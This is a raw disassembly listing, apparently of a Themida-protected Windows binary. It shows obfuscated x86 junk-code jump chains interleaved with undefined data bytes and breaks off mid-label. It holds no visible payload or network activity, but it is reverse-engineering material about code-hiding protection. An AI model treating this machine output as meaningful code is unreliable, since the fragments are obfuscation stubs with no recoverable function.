89000005h, 34FF241Ch, 1EE95824h dd 0BD000013h, 5E34BC9h, 7D50B951h, 0C3E92290h, 81FFFFAEh dd 0BFEA71EFh, 0E9FE29EBh, 47EBh, 815FF921h, 76C4D0F1h dd 35670515h, 322D3614h, 0E968755Dh, 0FA2h, 0E1E98AB4h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_548FD7: ; CODE XREF: Themida_:0054AB80j push 404Eh jmp loc_54D87F ; --------------------------------------------------------------------------- loc_548FE1: ; CODE XREF: Themida_:00549BAFj mov [esp], edx pop dword ptr [edi+20h] jmp loc_544217 ; --------------------------------------------------------------------------- loc_548FEC: ; CODE XREF: Themida_:00543F1Fj mov [esp], ebp mov ebp, 543B3916h sub ebp, 7387977h sub ebp, 1 add ebp, 0B2FD4066h jmp loc_541407 ; --------------------------------------------------------------------------- db 66h dd 6824048Bh, 53E8h, 0E9242C89h, 2309h, 63E9AE04h db 4, 2 dup(0) ; --------------------------------------------------------------------------- loc_549023: ; CODE XREF: Themida_:00549709j pop esp mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_542D7D ; --------------------------------------------------------------------------- dd 8102E1C1h, 82E501F1h, 59CD01F7h, 3D75ED81h, 4BE95391h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54904B: ; CODE XREF: Themida_:0054B8C2j xor [esp], ebx xor ebx, [esp] pop esp jmp loc_549296 ; --------------------------------------------------------------------------- db 80h dd 0F7301EC6h, 33CFE9h, 0E5E98100h, 8135AC51h, 4C80BFF1h dd 0E9CB89A3h, 1CD8h, 5C24048Fh, 2EC81h, 89660000h, 0F7E9241Ch dd 81FFFFA6h, 574567EDh, 0ED814D3Bh, 61F65E5Ch, 0FFF198E9h dd 2C483FFh, 0EBE9C300h, 56FFFF98h, 42474FFh, 0FFBF6EE9h dd 0E9D101FFh, 2533h, 93BA525Ah, 0E908915Dh, 0FFFFDA3Ah dd 5E06BE56h, 0BD555049h, 45B70D7Dh, 4ADCBB53h, 0DE016BC9h dd 81EE295Bh, 0C94ADCEEh, 38685D6Bh, 8900000Ch, 0BFB9240Ch dd 0F742BE12h, 0FDE181D1h, 0F70CDE68h, 0E4F2E9D9h, 8B66FFFFh dd 0E951240Ch, 0FF0h, 555DEA89h, 242C87BDh, 5DE8292Dh dd 8705D029h, 5A2D242Ch, 8124348Bh, 4C4h, 7F92D00h, 0AFE96931h dd 8300001Dh, 55E904ECh db 87h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549133: ; CODE XREF: Themida_:005442EDj add esp, 4 xor eax, ebx pop ebx add ebp, eax mov eax, [esp] add esp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp mov [esp], edi mov edi, 1 and eax, edi push dword ptr [esp] jmp loc_54D232 ; --------------------------------------------------------------------------- db 68h dd 6051h, 68243C89h, 6BF53786h, 0FFBA76E9h, 0E9D529FFh dd 3D28h, 0B7533FB0h, 77CF809Dh, 2454F653h, 0EFC05B01h dd 0F3F78005h, 0FF9F3AE9h, 0E9CE00FFh, 9D8h, 0E189515Dh dd 4C181h, 0E9810000h, 4, 0FFF0F8E9h, 81E789FFh, 4C7h dd 4C78300h, 8B243C87h, 0B8502424h, 15DA6C83h, 0DA6C7F2Dh dd 58C30115h, 4EC81h, 0C890000h, 2B924h, 0EB810000h, 45C41EB8h dd 0C381CB01h, 45C41EB8h, 241C3359h, 0E9241C31h, 0FFFFC092h ; --------------------------------------------------------------------------- loc_5491F8: ; CODE XREF: Themida_:00541F58j mov ebx, 3E7C08Ah jmp loc_542569 ; --------------------------------------------------------------------------- dw 0C483h dd 5F5A5704h, 0FFDDE4E9h db 0FFh ; --------------------------------------------------------------------------- loc_54920D: ; CODE XREF: Themida_:005435AEj mov dh, 98h push small 0 sub [esp], dh mov dh, [esp] add esp, 2 jmp loc_54C57C ; --------------------------------------------------------------------------- db 83h, 0C5h, 2 dd 31242C33h, 0D7E9242Ch, 95FFFFE4h, 737AE581h, 0BE562179h dd 99C6218Ch, 315EF529h, 2434FFE8h, 0FFDAF4E9h, 2434FFFFh dd 8124048Bh, 4C4h, 4EC8300h, 54240C89h, 0DCD5E959h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549262: ; CODE XREF: Themida_:0054A625j xor ecx, 752139h jmp loc_54C4FA ; --------------------------------------------------------------------------- db 0ADh, 0E9h, 0E1h db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549273: ; CODE XREF: Themida_:0054BDCDj add esi, 29B21AE9h or esi, 2CEB4476h jmp loc_544EE4 ; --------------------------------------------------------------------------- dd 96E9415Fh, 2C000019h, 66D02889h, 10B4E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549296: ; CODE XREF: Themida_:00549052j mov [esp], esi push 5D536E06h mov esi, [esp] jmp loc_54AE74 ; --------------------------------------------------------------------------- dw 0C480h dd 43EE80B2h, 94E9E628h, 89FFFFA9h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 0EBEB815Ch, 515C700Dh, 0AF4AC4B9h dd 0DF18162h, 0E97B7C0Dh, 4304h ; --------------------------------------------------------------------------- loc_5492DC: ; CODE XREF: Themida_:0054391Dj mov eax, edi jmp loc_54ACA2 ; --------------------------------------------------------------------------- db 81h dd 73A82434h, 815B6B13h, 1373A8F3h, 0EBC15A6Bh, 8620E903h dd 487FFFFh, 152D5C24h, 482FEA38h, 1A59032Dh, 0A5BA5266h dd 31D255C3h, 0D3CFE9D0h, 0E952FFFFh, 0FFFFDAE2h, 0B8505954h dd 4, 7B13E981h, 0E9813DB6h, 6C827043h, 0C181C101h, 6C827043h dd 7B13BE56h, 0BA523DB6h, 38D7459Ah, 4A03EAC1h, 8104EAC1h dd 66792EC2h, 5AD10124h, 0E981F101h, 24D827B9h, 0FFF4CAE9h db 0FFh ; --------------------------------------------------------------------------- loc_549361: ; CODE XREF: Themida_:00545733j xor [esp], edi xor edi, [esp] xor [esp], edi not edi push edi push dword ptr [esp+4] mov edi, [esp] add esp, 4 jmp loc_5474E5 ; --------------------------------------------------------------------------- dd 405h, 40500h, 4870000h, 0BBBF5C24h, 297F2963h, 241C8BDFh dd 4C481h, 0F9010000h, 0AF50E95Fh, 348BFFFFh, 4C48324h dd 5B4668h, 241C8900h, 670268h, 242C8900h, 6524B850h, 702D17C9h dd 89EC660Fh, 18BB58C5h, 315C327Fh, 0CF31E9EBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5493D2: ; CODE XREF: Themida_:005474E8j push dword ptr [esp] mov eax, [esp] add esp, 4 push eax push esp pop eax push edi mov edi, 4 jmp loc_547146 ; --------------------------------------------------------------------------- dd 5BD8015Eh, 0FFFF21E9h, 5FF989FFh, 0A559D268h, 0CD315D3Bh dd 592434FFh, 104C483h, 0C7815DEFh, 4, 5C243C87h, 8B2434FFh dd 0C4832404h db 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ebx push edx push edi mov edi, 6A005662h jmp loc_548A52 ; --------------------------------------------------------------------------- loc_54942D: ; CODE XREF: Themida_:005499EAj pop ecx add esi, 4 jmp loc_548CDA ; --------------------------------------------------------------------------- loc_549439: ; CODE XREF: Themida_:005446F5j add bl, 2Ah sub bl, 0E3h add bl, 2Fh push ecx mov ecx, esp add ecx, 4 push esi mov esi, 63BD5574h or esi, 278C1B57h inc esi jmp loc_54A732 ; --------------------------------------------------------------------------- loc_54945D: ; CODE XREF: Themida_:00546172j push eax jmp loc_547896 ; --------------------------------------------------------------------------- db 59h dd 0FF8C24E9h, 243C33FFh, 33243C31h, 248B243Ch, 4EC8324h dd 88240C89h, 0EA8852D5h, 0F138E951h, 0C804FFFFh, 5307E0C0h dd 0FFDB92E9h, 58C701FFh, 68D868h, 24148900h, 6277BABAh dd 0BD554A7Dh, 7D6277BDh, 0E95DEA31h, 1F6Fh, 8CB85053h dd 0E91E8C2Ch, 0FFFFBBB9h, 4247C01h, 9E2D585Fh, 50177D2Fh dd 2C2589B8h, 15C0351Eh, 0F0314E0Ch, 383BE9h db 0 ; --------------------------------------------------------------------------- loc_5494D9: ; CODE XREF: Themida_:0054140Aj add edi, ecx pop ecx push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] pop esp push 3BB2h mov [esp], ebx mov ebx, 800000h and eax, ebx jmp loc_54637A ; --------------------------------------------------------------------------- dw 0C166h dd 56608E8h, 0C16630F3h, 0C16603E0h, 56606E0h, 2966FD5Bh dd 65E958C3h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549517: ; CODE XREF: Themida_:00542465j xor ebp, 65856BECh mov edx, ebp pop ebp push 122Eh mov [esp], edx push dword ptr [esp] pop ecx jmp loc_549C02 ; --------------------------------------------------------------------------- db 81h, 0E9h, 0C0h dd 56165215h, 98322FBEh, 62E98166h, 1047F4Ch, 1BCCE9F1h dd 0AD660000h, 64752D66h, 55E38953h, 4BDh, 5DEB0100h, 8704EB83h dd 895C241Ch, 0BE662434h, 816616C3h, 0E95541C6h, 0FFFFB4CCh dd 8904EC83h, 0CFF241Ch, 2F86E924h, 295B0000h, 0D8BE56D8h dd 8154B415h, 3A026DC6h, 29D6E924h, 67B70000h, 0C0A8E780h dd 0C78008EFh, 1CBDE991h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5495A6: ; CODE XREF: Themida_:00544912j add ebp, 4 xchg ebp, [esp] pop esp movzx eax, al jmp loc_54295F ; --------------------------------------------------------------------------- loc_5495B8: ; CODE XREF: Themida_:00544BA5j add edx, eax pop eax sub esp, 4 jmp loc_54BD35 ; --------------------------------------------------------------------------- loc_5495C3: ; CODE XREF: Themida_:00548B51j or edx, 314B006Ch jmp loc_54ACD4 ; --------------------------------------------------------------------------- dw 7268h dd 89000002h, 0BA52243Ch, 474A31BCh, 6F2DE281h, 0EA816D64h dd 6B847E87h, 4E34E281h, 0F74A0F0Dh, 25C281DAh, 0E9090902h dd 0FFFFA78Eh, 4C381h, 0C3830000h, 241C8704h, 6824248Bh dd 5E02h, 0E9243489h, 0FFFFE31Ah, 0BEFB2D66h, 8BC30166h dd 0C4832404h, 66526604h, 661FF5BAh, 5166D2F7h, 0F2AFB966h dd 66CA3166h, 0D3296659h, 24148B66h, 386CE9h, 4AD2F700h dd 0FFFFBE56h, 0F201FFFFh, 6CC2815Eh, 812E163Dh, 9D12CF2h dd 5AD701D5h, 8104C783h, 4ECh, 243C8900h, 42474FFh, 83243C8Bh dd 48F04C4h, 0FF665C24h, 7CF6E930h, 7401FFFFh, 5B5E0424h dd 6A29EB81h, 34FF5A8Eh, 0E9525A24h, 2FC7h ; --------------------------------------------------------------------------- loc_549698: ; CODE XREF: Themida_:00542BB0j pop ecx push esi mov esi, 3D5435E5h sub esi, 3D5435E1h add ecx, esi pop esi push edx mov edx, 4 add ecx, edx mov edx, [esp] add esp, 4 xchg ecx, [esp] mov esp, [esp] push 445Eh mov [esp], ecx mov ecx, 12C83A7Ch jmp loc_54CBBE ; --------------------------------------------------------------------------- db 66h, 33h, 14h dd 14316624h, 0A26CE924h, 48FFFFFh, 0D47FE924h, 0FB68FFFFh dd 0E974D01Ch, 0FFFFA9FEh ; --------------------------------------------------------------------------- loc_5496F0: ; CODE XREF: Themida_:00545CCCj push ebx push dword ptr [esp+4] mov ebx, [esp] jmp loc_54BB6C ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 401DE956h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549706: ; CODE XREF: Themida_:0054B79Dj xchg eax, [esp] jmp loc_549023 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_545C06 ; --------------------------------------------------------------------------- dd 0D028F1B2h, 34685A66h, 89000011h, 33B62414h, 5053D6F6h dd 0FFF89BE9h, 0D0CF81FFh, 0D14D1953h, 0F7DF87EFh, 0C1DF87DBh dd 0EFC108E7h, 0BDC7E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54974E: ; CODE XREF: Themida_:0054BF59j push esi mov esi, 9AE6E2Ch jmp loc_549DD9 ; --------------------------------------------------------------------------- db 5Ah, 33h, 1Ch dd 241C3124h, 1BECE9h, 74E56800h, 34890000h, 815E5424h dd 4C6h, 40BD5500h, 81455D79h, 666EFFEDh, 0F901E96Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549786: ; CODE XREF: Themida_:00543546j mov eax, [esp] push edi push esp pop edi push eax mov eax, 4 jmp loc_544CD2 ; --------------------------------------------------------------------------- db 0FFh dd 59042474h, 5C24048Fh, 50C8BF0Fh, 5251E089h, 2530E368h dd 0EA815A1Dh, 213E3490h, 0D80FEA81h, 9BE9AB30h, 83FFFFBBh dd 0BD5504C4h, 3A0031C3h, 2A20C581h, 3BE9F97Ah, 66000023h dd 0E9241431h, 0FFFFFEF5h, 348B5F66h, 4C48124h, 66000000h dd 2D66D801h, 56617CBh, 52666475h, 6FF4BA66h, 66D00166h dd 5024148Bh, 0B9E9E089h, 5AFFFFF8h, 0FFD368E9h, 240C8BFFh dd 0FFF106E9h db 0FFh ; --------------------------------------------------------------------------- loc_549815: ; CODE XREF: Themida_:0054D810j sub esi, 0FB69879h xor edi, esi pop esi add eax, edi mov edi, [esp] add esp, 4 add eax, 4 xchg eax, [esp] pop esp push ecx mov ecx, esp add ecx, 4 jmp loc_54328B ; --------------------------------------------------------------------------- a@sa db '@é ;',0 align 4 dd 0F433E959h, 665CFFFFh, 2404A30Fh, 7B22E99Ch, 8952FFFFh dd 4C281E2h, 81000000h, 4C2h, 4102E900h, 0C1810000h, 4 dd 5C240C87h, 2D5AD001h, 59874C4Ch, 0FFB12DE9h db 0FFh ; --------------------------------------------------------------------------- loc_549881: ; CODE XREF: Themida_:0054CED1j mov ecx, 4 add ebx, ecx pop ecx sub ebx, 4 xchg ebx, [esp] pop esp jmp loc_5434E5 ; --------------------------------------------------------------------------- dd 4C48158h, 68000000h, 1BFAh, 0FFB729E9h db 0FFh ; --------------------------------------------------------------------------- loc_5498A9: ; CODE XREF: Themida_:00544373j pop edi jmp loc_54A9B7 ; --------------------------------------------------------------------------- db 89h dd 4BD242Ch, 1000000h, 0C6835DEEh, 24348704h, 2D24248Bh dd 31A5076Ch, 2BEFC281h, 7CE95060h, 8BFFFFCCh, 2C892424h dd 485EBD24h, 0E83152D5h, 0E3E9515Dh, 81FFFF7Ah, 4ECh dd 24248900h, 0E83E9h db 0 ; --------------------------------------------------------------------------- loc_5498F5: ; CODE XREF: Themida_:00543217j push ebx mov ebx, 1B4E1145h xor ebx, 52D84A8Fh jmp loc_547715 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 7E7368h, 0B98BE900h, 1C68FFFFh, 89000075h, 0A3E92414h db 0EFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549923: ; CODE XREF: Themida_:00546774j dec ebx jmp loc_54530D ; --------------------------------------------------------------------------- db 31h, 0C7h, 0E9h dd 18EFh, 0C3005966h, 6840C380h, 11D6h, 0B1240C89h, 0FED9F642h dd 0A4FDE9C1h, 8B66FFFFh, 0E9512404h, 0FFFFE55Dh, 242CD35Ch dd 1890E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_54995E: ; CODE XREF: Themida_:0054A308j mov eax, 4 add ebp, eax pop eax jmp loc_54C867 ; --------------------------------------------------------------------------- db 57h dd 0C7815F54h, 4, 5C3E9h, 40500h, 77E90000h db 0F9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549983: ; CODE XREF: Themida_:00545A89j pop ebp jmp loc_543210 ; --------------------------------------------------------------------------- loc_549989: ; CODE XREF: Themida_:0054171Ej sub edi, 8D990999h push edi add dword ptr [esp], 3A847AA3h pop ecx jmp loc_54856A ; --------------------------------------------------------------------------- loc_54999D: ; CODE XREF: Themida_:00542C86j add esi, 97D8D5ACh add ebx, esi pop esi sub esp, 4 mov [esp], esi jmp loc_549E8B ; --------------------------------------------------------------------------- dd 2373B951h, 0F7411B13h, 0E1C181D1h, 0E94F442Ah, 0FFFFEBEDh dd 8B243C33h, 57552424h, 0FFD35BE9h, 0E9FD87FFh, 0FFFF97CFh ; --------------------------------------------------------------------------- loc_5499DC: ; CODE XREF: Themida_:00546E7Aj add esi, 29497748h add esi, ecx sub esi, 29497748h jmp loc_54942D ; --------------------------------------------------------------------------- db 83h dd 0B1E904C3h, 66FFFFDDh, 5224048Bh, 0C281E289h, 4, 4BB53h dd 0DA290000h, 0FFAC31E9h db 0FFh ; --------------------------------------------------------------------------- loc_549A11: ; CODE XREF: Themida_:0054B32Dj push ebp pop esi pop ebp and ecx, esi mov esi, [esp] jmp loc_54A172 ; --------------------------------------------------------------------------- dw 0D829h dd 36BB5352h, 8960C640h, 0D02D5BDAh, 0E93B700Ah, 0FFFFC347h ; --------------------------------------------------------------------------- loc_549A34: ; CODE XREF: Themida_:00546B51j sub edx, esi pop esi jmp loc_544378 ; --------------------------------------------------------------------------- loc_549A3C: ; CODE XREF: Themida_:0054B53Bj add ebp, 4 add ebp, 4 jmp loc_54408A ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 0BF570000h, 4, 0FF8AEBE9h, 5F029FFh, 10C2164Dh dd 613AB951h, 0A30534B4h, 294C247Eh, 7EA32DC8h, 0D7E94C24h dd 89000028h, 0B66856E3h, 8900006Eh, 4468243Ch, 5F1BA267h dd 0A2E9DFF7h, 50FFFFE0h, 5366D6B0h, 48E9C388h, 8BFFFFAEh dd 0C4812414h, 4, 2414F757h, 36E7815Fh, 0E9094413h, 0FFFF9D84h dd 0F6EFE957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549AC2: ; CODE XREF: Themida_:00544E34j mov ebp, [esp] add esp, 4 jmp loc_546B2B ; --------------------------------------------------------------------------- db 81h, 0C6h, 4 dd 81000000h, 4C6h, 24348700h, 4EE815Ch, 87000000h, 248B2434h dd 240C8924h, 0FF7887E9h, 0D02A2CFFh, 28832CE8h, 0D82459C8h dd 0B151022Ch, 8FCFE965h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549B06: ; CODE XREF: Themida_:00543F0Dj or edi, 2834A67h xor edi, 0A16CD693h sub ebx, edi jmp loc_5442EA ; --------------------------------------------------------------------------- align 2 dw 0E9D8h dd 0FFFFAF80h, 9D1C77FFh, 24041958h, 0C985E99Ch, 31B9FFFFh dd 0F737EB29h, 65C981D1h, 0E95ACB53h, 0FFFFBE07h, 4BFh dd 5FF90100h, 0E9240C87h, 0FFFF9CD5h, 242C8155h, 0FFFFFFFFh dd 97ED815Dh, 55B7FFEFh, 34242C81h, 8F7E1540h, 4A682047h dd 0E9000029h, 0FFFFBB62h, 87C68059h, 7EE9F020h, 81000002h dd 4C7h, 4B85000h, 50000000h, 0F94D3EB8h, 0E9C72923h, 0FFFF7ACAh ; --------------------------------------------------------------------------- loc_549B98: ; CODE XREF: Themida_:00546E82j push dword ptr [esp] pop esi add esp, 4 or ebx, ebx jnz loc_544775 push 6761h jmp loc_548FE1 ; --------------------------------------------------------------------------- loc_549BB4: ; CODE XREF: Themida_:0054B62Aj dec ebx add ebx, 1F347FB1h sub ebx, 79C1EA83h add esi, ebx pop ebx xchg esi, [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx mov bh, dl jmp loc_54AD40 ; --------------------------------------------------------------------------- aB?2u db 'Î=?}2U½',0 align 4 dd 0ED810000h, 70F5513Dh, 0C581F529h, 70F5513Dh, 815DEE87h dd 82BFFDEEh, 38BDE989h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549C02: ; CODE XREF: Themida_:0054952Cj add esp, 4 mov edx, [esp] add esp, 4 and eax, ecx mov ecx, [esp] add esp, 4 or edx, eax jmp loc_54D8B2 ; --------------------------------------------------------------------------- dd 8FC0B60Fh, 4DE98704h db 77h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549C2B: ; CODE XREF: Themida_:0054B672j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp mov [esp], ebx jmp loc_54CCCF ; --------------------------------------------------------------------------- db 8Bh, 34h, 24h dd 23F268h, 24048900h, 405E089h, 68000000h, 1949h, 0BB241C89h dd 4, 0E95BD801h, 0FFFFE6A4h, 0F680CEFEh, 233E97Fh, 11680000h dd 8B043E71h, 0C4812434h, 4, 0FF8709E9h, 240C8BFFh, 0E904C483h dd 0FFFFA17Ah, 4C48359h, 0E9242C33h, 2CDEh, 9C6DB9B8h dd 32C3574h, 0D0F71471h, 77811005h, 58C72974h, 5E7C14Fh dd 5E1DEF81h, 10E930E4h, 81FFFFCCh, 4C4h, 0D7F7E900h, 0E2C1FFFFh dd 56BB5306h, 0F733FF2Dh, 0D9EB81D3h, 813B0A7Ah, 0B320E1CBh dd 7EEB8151h, 8167DB4Dh, 0FA306EF3h, 5FF38113h, 81DAD1DEh dd 8239D1C2h, 81DA0151h, 8239D1EAh, 0D0895B51h, 9DEA815Ah dd 17AE706h, 2BBE56C2h, 813C1139h, 0CA34FDF6h, 3C1EE937h dd 0BF570000h, 2, 95E9FE01h, 89FFFF93h, 8EBF243Ch, 0E9371543h dd 0FFFFEF58h, 0AD5FA525h, 79572D52h, 0BE560D41h, 248D4BD0h dd 315EF001h, 0DBE958C5h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549D4F: ; CODE XREF: Themida_:0054BFBDj mov eax, 14F40699h inc eax xor eax, 6B2432B5h mov esi, eax pop eax shr esi, 2 sub esi, 347A2DCFh jmp loc_54B78E ; --------------------------------------------------------------------------- db 5Dh dd 0BEE9FD09h, 89000028h, 92ECE9E5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549D7A: ; CODE XREF: Themida_:0054CA29j sub edx, 53C9B4A8h sub esi, edx pop edx mov ebp, esi mov esi, [esp] add esp, 4 shr ebp, 6 dec ebp not ebp push ebx mov ebx, 5B7F063Ch dec ebx xor ebx, 48C05678h sub ebx, 6D2D2677h push edx mov edx, 0B39F0B40h jmp loc_54CF8A ; --------------------------------------------------------------------------- db 0ACh dd 3C68h, 240C8900h, 0A17E9h, 0F556800h, 34890000h, 200BE24h dd 77090000h, 2434FF1Ch, 0E689565Eh, 0FFC549E9h db 0FFh ; --------------------------------------------------------------------------- loc_549DD9: ; CODE XREF: Themida_:00549754j add ebx, esi pop esi jmp loc_546565 ; --------------------------------------------------------------------------- db 64h, 0FFh, 32h dd 0FF758FE9h, 54C381FFh, 5F451F51h, 0FFCAA0E9h, 240C89FFh dd 0FFBE79E9h, 460C5AFFh, 88520434h, 8BF588C6h, 0C4832414h dd 0C25AE904h, 0C683FFFFh, 0B3E681FFh, 0E913D96Ah, 2E92h dd 83240C8Bh, 0BD5504C4h, 458A69C3h, 0DDF7454Dh, 0FF7A31E9h dd 11B0B9FFh, 0C8017B34h, 0E9C82959h, 0FFFF86EFh, 14BAE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549E4A: ; CODE XREF: Themida_:00543C20j pop esi push eax mov eax, 4 add edi, 23747E1h jmp loc_54AC48 ; --------------------------------------------------------------------------- dd 2E30F181h, 0EB812E47h, 4130D5Eh, 6777C381h, 30E90D3Bh dd 8BFFFFCFh, 0C481241Ch, 4, 8B24048Fh, 4FE2424h, 0EDE99C24h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549E8B: ; CODE XREF: Themida_:005499AFj mov esi, 35E80F6Eh add ebx, esi pop esi jmp loc_541D51 ; --------------------------------------------------------------------------- dd 0C531E831h, 0FFD543E9h, 11EE80FFh, 0E95AF328h, 0FFFFE8E9h dd 5B66FA00h, 148BD328h, 4C48124h, 51000000h, 0C1800CB1h dd 0FDC98058h, 0FFB227E9h, 243C89FFh, 6850E789h, 7DEE7E15h dd 0FFC08358h, 0FFA81DE9h db 0FFh ; --------------------------------------------------------------------------- loc_549EDD: ; CODE XREF: Themida_:005414A5j or eax, eax jz loc_54435B push dword ptr [edi+1Ch] push edi mov edi, 4A691E2Dh xor [esp+4], edi jmp loc_548867 ; --------------------------------------------------------------------------- db 5Bh dd 0FFD1AFE9h, 81F828FFh, 4ECh, 0ABFCE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549F0A: ; CODE XREF: Themida_:00542A17j mov esi, 44431286h push esi push esi mov esi, 31EF31C1h add [esp+4], esi pop esi pop edx sub edx, 31EF31C1h pop esi xor edx, eax jmp loc_548B50 ; --------------------------------------------------------------------------- dw 0DD05h dd 5D2D0D66h, 0DBF9E953h, 0E95CFFFFh, 0C8Fh, 8704C783h dd 2C5C243Ch, 241C8B87h, 0FFFD6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_549F4D: ; CODE XREF: Themida_:00547E63j add esp, 4 and esi, 462B29D4h add esi, 0FFFFFFFFh sub esi, 1 jmp loc_54CA13 ; --------------------------------------------------------------------------- db 52h dd 0BB4156BAh, 7F94E950h, 0C801FFFFh, 755D3205h, 35672D68h dd 81593614h, 0B8567CC3h, 0F7C38146h, 8159DF74h, 17135AEBh dd 88C38114h, 1594A0Dh, 88EB81C3h, 81594A0Dh, 17135AC3h dd 0F7EB8114h, 5759DF74h, 651F6852h, 148B0AD1h, 4C48124h dd 81000000h, 693363F2h, 8BD7894Ch, 7DE92414h, 68FFFF86h dd 3117h, 24048F54h, 4240481h, 5F000000h, 4C781h, 68550000h dd 4, 1CEF815Dh, 2932A51Bh, 1CC781EFh, 5D32A51Bh, 0E53E9h db 0 ; --------------------------------------------------------------------------- loc_549FFD: ; CODE XREF: Themida_:00542A77j mov esi, 8667F5Eh neg esi push ebp mov ebp, 121B678Bh xor esi, ebp pop ebp not esi sub esi, 0D013FAA9h mov eax, esi mov esi, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_54A84E ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0FC1B3EBEh, 24C68122h, 0E9135850h, 0FFFF92D6h, 0E67FE950h dd 34FFFFFFh, 240C8B24h, 37C0E9h, 10406800h, 3C890000h dd 24148B24h, 4C481h, 3C8B0000h, 4C48324h, 2414F757h, 0E957525Fh dd 0FFFFE60Ch, 2D5EF001h, 1B8011A5h, 0FFA9D0E9h, 48B66FFh dd 4EC8324h, 54242C89h, 0B5BB535Dh, 811CE533h, 0E15AC7EBh dd 57C38130h, 0E94CDF43h, 0FFFFA316h ; --------------------------------------------------------------------------- loc_54A0A8: ; CODE XREF: Themida_:0054AD01j push esi mov esi, 17554B25h add [esp+8], esi pop esi pop esi mov eax, [esp] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_54D351 ; --------------------------------------------------------------------------- db 52h dd 0FF75EDE9h, 0E94404FFh, 0FFFF803Ch, 2474FF53h, 48F5B04h dd 89665C24h, 8EB22414h, 2D90E9h, 0E9C50100h, 0FFFFE3ECh dd 240C8B54h, 4C481h, 89530000h, 4C381E3h, 81000000h, 4EBh dd 241C8700h, 241C895Ch, 406723BBh, 0F9CB8169h, 8123DB2Ah dd 8E14F5CBh, 59E38136h, 430FEA42h, 0FFBF6BE9h, 59CD01FFh dd 31242C33h, 2C33242Ch, 24248B24h, 0FF8B25E9h, 0C38166FFh dd 8166FFFFh, 0E902FCF3h, 0FFFFD7B0h, 662CBB2Dh, 82BB530Bh dd 1517C67h, 0F41CE9D8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A166: ; CODE XREF: Themida_:0054D754j mov ebx, 0A03CF5ABh add ebx, eax jmp loc_547575 ; --------------------------------------------------------------------------- loc_54A172: ; CODE XREF: Themida_:00549A19j sub esp, 4 mov [esp], ecx push 287Ah jmp loc_5425AE ; --------------------------------------------------------------------------- db 5Ah, 31h, 0C6h dd 1C772158h, 8B2434FFh, 3FE92434h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A197: ; CODE XREF: Themida_:005456D1j add eax, 3EDB4A53h jmp loc_541D11 ; --------------------------------------------------------------------------- db 0D3h, 2 dup(24h) dd 71CEE99Ch, 9159FFFFh, 5051D0F7h, 7CB9E959h, 0EE81FFFFh dd 8194E767h, 0FF90A5E9h, 0DBBF57FFh, 52212575h, 3A1BD1BAh dd 2ACA8121h, 0E9241B7Ch, 2948h ; --------------------------------------------------------------------------- loc_54A1D8: ; CODE XREF: Themida_:0054571Aj xchg ebx, [esp] pop esp popa popf jmp locret_54C115 ; --------------------------------------------------------------------------- db 81h dd 7304246Ch, 0E9770E03h, 2C5Eh, 0E955E689h, 0FFFFC871h dd 56B3EA81h, 0F20179DAh, 1ACEE9h, 74FF5500h, 0FAE90424h dd 4000008h, 58C1281Fh, 34FFC130h, 54555824h, 0B00EE95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A222: ; CODE XREF: Themida_:0054B5D0j add ebp, 4 sub esp, 4 mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] jmp loc_541378 ; --------------------------------------------------------------------------- db 89h dd 4AE952E6h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A243: ; CODE XREF: Themida_:0054C580j mov bl, 4Dh jmp loc_54A293 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 4C481h, 91E90000h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A25B: ; CODE XREF: Themida_:00543E99j sub ebx, 4C6F4750h jmp loc_546205 ; --------------------------------------------------------------------------- dw 248Bh dd 710AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A26E: ; CODE XREF: Themida_:0054BEF0j add esi, 0FEFBFFF9h add eax, esi pop esi sub eax, 4 xchg eax, [esp] mov esp, [esp] mov [esp], eax mov eax, esp push ecx mov ecx, esp add ecx, 4 jmp loc_5486B4 ; --------------------------------------------------------------------------- loc_54A293: ; 